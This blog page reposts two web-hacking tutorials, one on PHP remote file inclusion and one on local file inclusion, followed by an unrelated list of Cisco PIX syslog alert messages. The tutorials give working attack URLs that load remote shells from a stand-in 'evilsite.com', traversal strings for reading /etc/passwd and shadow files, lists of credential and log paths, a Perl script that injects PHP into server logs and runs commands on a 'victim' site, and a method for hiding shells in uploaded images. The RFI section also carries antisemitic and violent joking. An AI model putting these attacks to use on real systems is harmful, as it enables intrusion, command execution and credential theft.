Friday, January 9, 2009

RFI Tutorial (remote file inclusion)

Basically, the include function in PHP allows contents from local or remote files to be pretty much "copied and pasted" and executed in a script at runtime.

Now suppose yo' dad wants a small website. All he wants is three pages.
A blog page where he can update you on how many babies he has killed.
A contact page with his email on it os people can ask advice on the best way to kill babies.
An gallery page where he can show you pictures of all the babies he has killed.

He creates four pages. blog.php, contact.php and gallery.php along with index.php, this is our "main" page that will contain a header, a side bar for navigation, some php and a footer.

You would view the pages on his website like this.
Code:
http://www.yodad.com/index.php?page=blog.php
http://www.yodad.com/index.php?page=contact.php
http://www.yodad.com/index.php?page=gallery.php
Let's take a look at the code for index.php

Code:
//html for header
//html for menu
$page = $_GET['page'];
include($page);
?>
//html for footer
On line 2, $page is set to $_GET['page']

This means when we go to
Code:
http://www.yodad.com/index.php?page=blog.php
$page is set to blog.php.
On line 3 it is "included". The contents from blog.php is copied and pasted into index.php

What's wrong with this? Well as I said earlier the include function can also include remote files. Files NOT on his web server.

Say we change "blog.php" to "http://www.google.com"
Code:
http://www.yodad.com/index.php?page=http://www.google.com
You would see the google home page instead of your dads shitty blog.

What's the point of this?

We can include "bad" or "evil" scripts. Some of you may heard of "shells" (r57,c99,g00nshell,peanut). Shells are scripts with functions like letting you view directories of the server it's executed on, deleting files, viewing files, letting you run system commands and more.

Here's how we would use it:
Code:
http://www.yodad.com/index.php?page=http://evilsite.com/c99.txt
* We have to use the shell as .txt so it's plaintext. If we used .php then the script would be executed on http://www.evilsite.com.

Let's look at another example of a RFI.

Undefined variables.

Say yo' dad has learned how to use MySQL and to put content on his blog page he uses a form he created to connect to his MySQL server and insert his stories into a table.

To connect to the MySQL server & add content he needs a username & a password. He stores these in a file called "db_details.php".

The blog.php file needs these credentials to connect and get the content.

so in index.php:
Code:
//html for header
//html for menu
$database_config_file = "db_details.php";
$page = $_GET['page'];
include($page);
?>
//html for footer
and in blog.php:

Code:
include($database_config_file);
//code to connect to MySQL and get the latest blog posts
?>
Since we are calling blog.php through index.php like this:
Code:
http://www.yodad.com/index.php?page=blog.php
, in index.php $database_config_file is set to "db_details.php" and in blog.php it is included. There is no problem there, it then can connect to the MySQL server with the credentials and retrieve his blog content.

But, if we went to blog.php directly:
Code:
http://www.yodad.com/blog.php
then $database_config_file is not set to anything. It still includes it but it is including nothing. Since we did not use index.php to access it, we did not get: $database_config_file = "db_details.php";

This is a problem, since we can set it ourselves.
If we go to
Code:
http://www.yodad.com/blog.php?database_config_file=http://evilsite.com/c99.txt
$database_config_file will be set to http://www.evilsite.com/c99.txt

Again, blog.php does not check if what it is including is valid.

...

As the famous inventor of PHP, Bill Gates says: There is more than one way to do it.

There are a few ways to prevent these vulnerabilities.

Yo' dad thinks he has gotten smart and has put in a method to stop little leet haxors like you.
This one is easily bypassed.
index.php:

Code:
$page = $_GET['page'];
include($page . ".php");
?>
This means when we go to index.php?page=home it will actually include home.php.

Omg, dat meanz it wont include my .txt, it will try to include .txt.php Sad.

Not necessarily. If we put a question mark after the ".txt" then anything that index.php puts after $page will go to the remote script we are including.

Like this:
Code:
http://www.yodad.com/index.php?page=http://evilsite.com/c99.txt
Index.php would try and include :
Code:
http://www.evilsite.com/c99.txt?.php
To prevent the problem with variables not being defined. Just make sure you define every variable that gets used.


There are a few other ways to prevent these vulnerabilities involving cleaning the input, checking if files exist etc but since I'm only typing with my big jew nose right now I can't be bothered going through them so I'm going to just do the most practical;

Switching.

Code:
$page = $_GET['page'];
switch($page){
case "blog":
include("blog.php");
break;
case "contact":
include("contact.php");
break;
case "gallery":
include("gallery.php");
break;
default: //A page wasn't chosen, or one that wasn't "home" or "gallery"
echo "Choose a page from our fine selection!1!!";
break;
}
?>

https://per1ova.startlogic.com/showthread.php?t=594

LFI Tutorial (local file inclusion)

This tutorial will guide you into the process of exploiting a website thru the LFI (Local File Inclusion).

First lets take a look at a php code that is vulnerable to LFI:
Code:
$page = $_GET[page];
include($page);
?>
Now, this is a piece of code that should NEVER be used, because the $page isn't sanitized and is passed directly to the webpage, but unfortunately (or not ) is very common to be find in the www world.

Ok, now that we know why is it vulnerable let's start to use this in our advantage. First let's take a look how this give us the ability to "browse" thru the web server. Let's imagine theres a file called test.php inside the test directory, if you type victim.com/test/test.php will retrive that file correct? Ok, but if the php code that we examined was in the index.php we could also retrive that file thru victim.com/index.php?page=test/test.php , see what happened there? Now, if the index.php was in victim.com/test/index.php and the test.php in victim.com/test.php you will have to type victim.com/test/index.php?page=../test.php . The ../ is called directory
transversal using that will allow you to go up in the directories.


Now that we can go up and down thru the server let's use it to access files that we are not supposed to. If this was hosted in a Unix server we can then possibly view the password file of the server, to do this you will have to type something like this (the nr of ../ may vary depending of where the vulnerable file is):
Code:
victim.com/index.php?page=../../../../../../../etc/ passwd
If you don't know what to do with the content of etc/passwd then continue reading! The etc/passwd is where the users/passwords are stored, a non shadowed passwd file will look like this:



username: passwd:UID:GID:full_name:directory:shell

For example:


username:kbeMVnZM0oL7I:503:100:FullName:/home/user name:/bin/sh

All you need to do then is grab the username and decode the password. If the passwd file is shadowed then you'll see something like this:


username:x:503:100:FullName:/home/username:/bin/sh

As you can see the password is now a x and the encoded password is now in /etc/shadow (you will probably not have access to etc/shadow because is only readable/writeable by root and etc/passwd has to be readable by many
processes, thats why you have access to it).

You can also sometimes see something like this:



username:!:503:100:FullName:/home/username:/bin/sh

The ! indicates that the encoded password is stored in the etc/security/passwd file.

Heres a couple of places that may be interesting to "visit":
Code:
/etc/passwd
/etc/shadow
/etc/group
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/security/limits
/usr/lib/security/mkuser.default
You will probably need to google for it as this is not the right tutorial to it.

Just one more quick thing, its also common to find a vulnerable code like:
Code:
$page = $_GET["page"];
include("$page.php");
?>
In this case as you can see it will add a .php in the end of whatever you include! So if you type in your browser:
Code:
victim.com/index.php?file=../../../../../../../../ etc/passwd
it will retrieve:
victim.com/index.php?file=../../../../../../../../ etc/passwd.php that file don't exist, and you will see an error message, so you need to apply the null byte ():
Code:
victim.com/index.php?file=../../../../../../../../ etc/passwd
With the null byte the server will ignore everything that comes after .



There are other ways to use the LFI exploit, so continue reading, the REALLY fun is about to begin!


We will now gonna try to run commands on the server, we will do this by injecting php code in the httpd logs and then access them by the LFI! To do this first find out where the logs are stored, here is some locations that may be useful to you:
Code:
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../etc/httpd/logs/acces_log
../../../../../../../etc/httpd/logs/acces.log
../../../../../../../etc/httpd/logs/error_log
../../../../../../../etc/httpd/logs/error.log
../../../../../../../var/www/logs/access_log
../../../../../../../var/www/logs/access.log
../../../../../../../usr/local/apache/logs/access_ log
../../../../../../../usr/local/apache/logs/access. log
../../../../../../../var/log/apache/access_log
../../../../../../../var/log/apache2/access_log
../../../../../../../var/log/apache/access.log
../../../../../../../var/log/apache2/access.log
../../../../../../../var/log/access_log
../../../../../../../var/log/access.log
../../../../../../../var/www/logs/error_log
../../../../../../../var/www/logs/error.log
../../../../../../../usr/local/apache/logs/error_l og
../../../../../../../usr/local/apache/logs/error.l og
../../../../../../../var/log/apache/error_log
../../../../../../../var/log/apache2/error_log
../../../../../../../var/log/apache/error.log
../../../../../../../var/log/apache2/error.log
../../../../../../../var/log/error_log
../../../../../../../var/log/error.log
Ok, now that you know where the logs are take a look at them and see what they store, at this example we will use a log that stores the "not found files" and the php code . You will then type at your browser victim.com/ and the php code will be logged because it "dosen't exist".

This possibly won't work because if you go look into the log you will probably see the php code like this:
Code:
%3C?%20passthru($_GET[cmd])%20?>
because your browser will url encode the whole thing! So you'll need to use something else, if you don't have a script of your own you can use this perl script i've wrote:
Code:
#!/usr/bin/perl -w
use IO::Socket;
use LWP::UserAgent;
$site="victim.com";
$path="/folder/";
$code="";
$log = "../../../../../../../etc/httpd/logs/error_log";

print "Trying to inject the code";

$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$site", PeerPort=>"80") or die "
Connection Failed.

";
print $socket "GET ".$path.$code." HTTP/1.1
";
print $socket "User-Agent: ".$code."
";
print $socket "Host: ".$site."
";
print $socket "Connection: close

";
close($socket);
print "
Code $code sucssefully injected in $log
";

print "
Type command to run or exit to end: ";
$cmd = ;

while($cmd !~ "exit") {

$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$site", PeerPort=>"80") or die "
Connection Failed.

";
print $socket "GET ".$path."index.php=".$log."&cmd=$cmd HTTP/1.1
";
print $socket "Host: ".$site."
";
print $socket "Accept: */*
";
print $socket "Connection: close

";

while ($show = <$socket>)
{
print $show;
}

print "Type command to run or exit to end: ";
$cmd = ;
}
Copy/paste that, save it as whatever.pl and change what is in bold accordingly to your victim site. If the vulnerable code is in victim.com/main/test.php you should change the /folder/ to /main/ , index.php= to test.php= and the ../../../../../../../etc/httpd/logs/error_log to where the log is at!

That script will inject the code and then will ask you for a command to run on the server! You know what to do now!


Last but not least we will take a look on how to use the avatar/image upload funtion found in a lot of web aplications.
You possibly have seen this in the "Local JPG Shell injection video" at milw0rm, but the best part here that was not mentioned is that the web aplication DOES N'T need to be installed on your victim website!

This is a quick explanation, for a better understanding you can view the video at :
Code:
http://www.milw0rm.com/video/watch.php?id=57
OR, IF you want a private way to upload shell in the server visit this link :
Code:
http://per1ova.com/showthread.php?t=400
This article is in the PREMIUM AREA so you need to be a VIP member

You need to "insert" the php code you want to execute inside the image, to do this you'll need to use your favorite hex editor or you can use the edjpgcom program (all you need to do is right click on the image, open with..., then select the edjpgcom program and then just type the code). Ok now that you have your shell in the image all you need to do is upload it! If your victim.com has a forum or something else that allows you to upload great, if not check if its in a shared hosting, if so do a reverse lookup on it!


Now that you have a list of potential sites that may have a forum or something else that allows you to upload your image all you need to do is take some time to browse thru them until you find one!


After you found one and have uploaded your image here is tricky part, you'll need to "create" an error on it (in order to find the server path to it)! Try per example create an mysql error and you will get something like this:
Code:
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/sitefolder/public_html/includes/view.php on line 37
If you can't force an error go back to the etc/passwd file:

Code:
username:kbeMVnZM0oL7I:503:100:FullName:/home/username:/bin/sh
As you can see the username is also the directory name, most of the times the name is similar to the domain name, but if not the case you'll have to try them until you find the one you're looking for!


Go to your avatar image right click on it and then properties (write down the path to it), you'll now all set up.

In your browser type this (again, the nr of ../ may vary):
Code:
victim.com/index.php=../../../../../../../../../ho me/the_other_site_dir/public_html/path_to_your_avatar/avatar.jpg
In order "words" should look like this (using fictitious "names"):

Code:
victim.com/index.php=../../../../../../../../../ho me/arcfull/public_html/forum/uploads/avatar.jpg
After you type this you will see the result of the code inserted in the image!

https://per1ova.startlogic.com/showthread.php?t=595

Wednesday, December 24, 2008

Alerts—Syslog Severity Level 1 Messages

Level and Message NumberMessage Text
%PIX-1-101001(Primary) Failover cable OK.
%PIX-1-101002(Primary) Bad failover cable.
%PIX-1-101003(Primary) Failover cable not connected (this unit).
%PIX-1-101004(Primary) Failover cable not connected (other unit).
%PIX-1-101005(Primary) Error reading failover cable status.
%PIX-1-102001(Primary) Power failure/system reload other side.
%PIX-1-103001(Primary) No response from other firewall (reason code =code).
%PIX-1-103002(Primary) Other firewall network interface interface_numberOK.
%PIX-1-103003(Primary) Other firewall network interface interface_numberfailed.
%PIX-1-103004(Primary) Other firewall reports this firewall failed.
%PIX-1-103005(Primary) Other firewall reporting failure.
%PIX-1-103011Unknown message text. (7.0)
%PIX-1-104001(Primary) Switching to ACTIVE (cause: string).
%PIX-1-104002(Primary) Switching to STNDBY (cause: string).
%PIX-1-104003(Primary) Switching to FAILED.
%PIX-1-104004(Primary) Switching to OK.
%PIX-1-105001(Primary) Disabling failover.
%PIX-1-105002(Primary) Enabling failover.
%PIX-1-105003(Primary) Monitoring on interface interface_name waiting.
%PIX-1-105004(Primary) Monitoring on interface interface_name normal.
%PIX-1-105005(Primary) Lost failover communications with mate on interfaceinterface_name.
%PIX-1-105006(Primary) Link status 'Up' on interface interface_name.
%PIX-1-105007(Primary) Link status 'Down' on interface interface_name.
%PIX-1-105008(Primary) Testing interface interface_name.
%PIX-1-105009(Primary) Testing on interface interface_name {Passed | Failed}.
%PIX-1-105011(Primary) Failover cable communication failure.
%PIX-1-105020(Primary) Incomplete/slow config replication.
%PIX-1-105031Failover LAN interface is up.
%PIX-1-105032LAN failover interface is down.
%PIX-1-105033Unknown message text. (7.0)
%PIX-1-105034Receive a LAN_FAILOVER_UP message from peer.
%PIX-1-105035Receive a LAN failover interface down message from a peer.
%PIX-1-105036PIX dropped a LAN failover command message.
%PIX-1-105037The primary and standby units are switching back and forth as the active unit.
%PIX-1-105038(Primary) Interface count mismatch. (7.0)
%PIX-1-105039(Primary) Unable to verify the interface count with mate. Failover may be disabled in mate. (7.0)
%PIX-1-105040(Primary) Mate failover version is not compatible. (7.0)
%PIX-1-105041Unknown message text. (7.0)
%PIX-1-105042(Primary) Failover interface OK. (7.0)
%PIX-1-105043(Primary) Failover interface failed. (7.0)
%PIX-1-105044(Primary) Mate operational mode mode is not compatible with my mode mode. (7.0)
%PIX-1-105045Primary) Mate license (number contexts) is not compatible with my license (number contexts). (7.0)
%PIX-1-105046(Primary | Secondary) Mate has a different chassis. (7.0)
%PIX-1-105047Mate has an io_card_name1 card in slot slot_number that is different from my io_card_name2. (7.0)
%PIX-1-106004Unknown message text. (7.0)
%PIX-1-106005Unknown message text. (7.0)
%PIX-1-106008Unknown message text. (7.0)
%PIX-1-106021Deny protocol reverse path check from source_address todest_address on interface interface_name.
%PIX-1-106022Deny protocol connection spoof from source_address todest_address on interface interface_name.
%PIX-1-106101The number of ACL log deny-flows has reached limit (number).
%PIX-1-107001RIP auth failed from IP_address.
%PIX-1-107002RIP pkt failed from IP_address.
%PIX-1-108001Unknown message text. (7.0)
%PIX-1-109004Unknown message text. (7.0)
%PIX-1-111002Begin configuration: IP_address writing to device. (7.0)
%PIX-1-111111error_message. (7.0: System or infrastructure error has occurred)
%PIX-1-415001:internal_sig_id HTTP Tunnel detected—action tunnel_typefrom src_ip to dest_ip. (7.0)
%PIX-1-415002:internal_sig_id HTTP Instant Messenger detected—action instant_messenger_type from src_ip to dest_ip. (7.0)
%PIX-1-415003:internal_sig_id HTTP Peer-to-Peer detected—action instant_messenger_type from src_ip to dest_ip. (7.0)
%PIX-1-415004:internal_sig_id Content type not found—action Content Verification Failed from src_ip to dest_ip. (7.0)
%PIX-1-415006:internal_sig_id Content size size out of range—action mime_type from src_ip to dest_ip. (7.0)
%PIX-1-415007:internal_sig_id HTTP Extension method illegal—action'method_name' from src_ip to dest_ip. (7.0)
%PIX-1-415008:internal_sig_id HTTP RFC method illegal—action'method_name' from src_ip to dest_ip. (7.0)
%PIX-1-415009:internal_sig_id HTTP Header length exceeded. Receivedlength byte Header—action header length exceeded fromsrc_ip to dest_ip. (7.0)
%PIX-1-415010:internal_sig_id HTTP protocol violation detected—action HTTP Protocol not detected from src_ip to dest_ip. (7.0)
%PIX-1-415011:internal_sig_id HTTP URL Length exceeded. Received sizebyte URL—action URI length exceeded from src_ip to dest_ip. (7.0)
%PIX-1-415012:internal_sig_id HTTP Deobfuscation signature detected—action HTTP deobfuscation detected IDS evasion technique from src_ip to src_ip. (7.0)
%PIX-1-415013:internal_sig_id HTTP Transfer encoding violation detected—action Xfer_encode Transfer encoding not allowed fromsrc_ip to dest_ip. (7.0)
%PIX-1-415014:internal_sig_id Maximum of 10 unanswered HTTP requests exceeded from src_ip to dest_ip. (7.0)
%PIX-1-709003(Primary) Beginning configuration replication—Receiving from mate.
%PIX-1-709004(Primary) End Configuration Replication (ACT).
%PIX-1-709005(Primary) Beginning configuration replication—Receiving from mate.
%PIX-1-709006(Primary) End Configuration Replication (STB).
%PIX-1-713900Descriptive_event_string. (7.0: A message with several possible text strings describing a serious event or failure)
%PIX-1-715039Unexpected cleanup of tunnel table entry during SA delete. (7.0)

LinkWithin

Related Posts with Thumbnails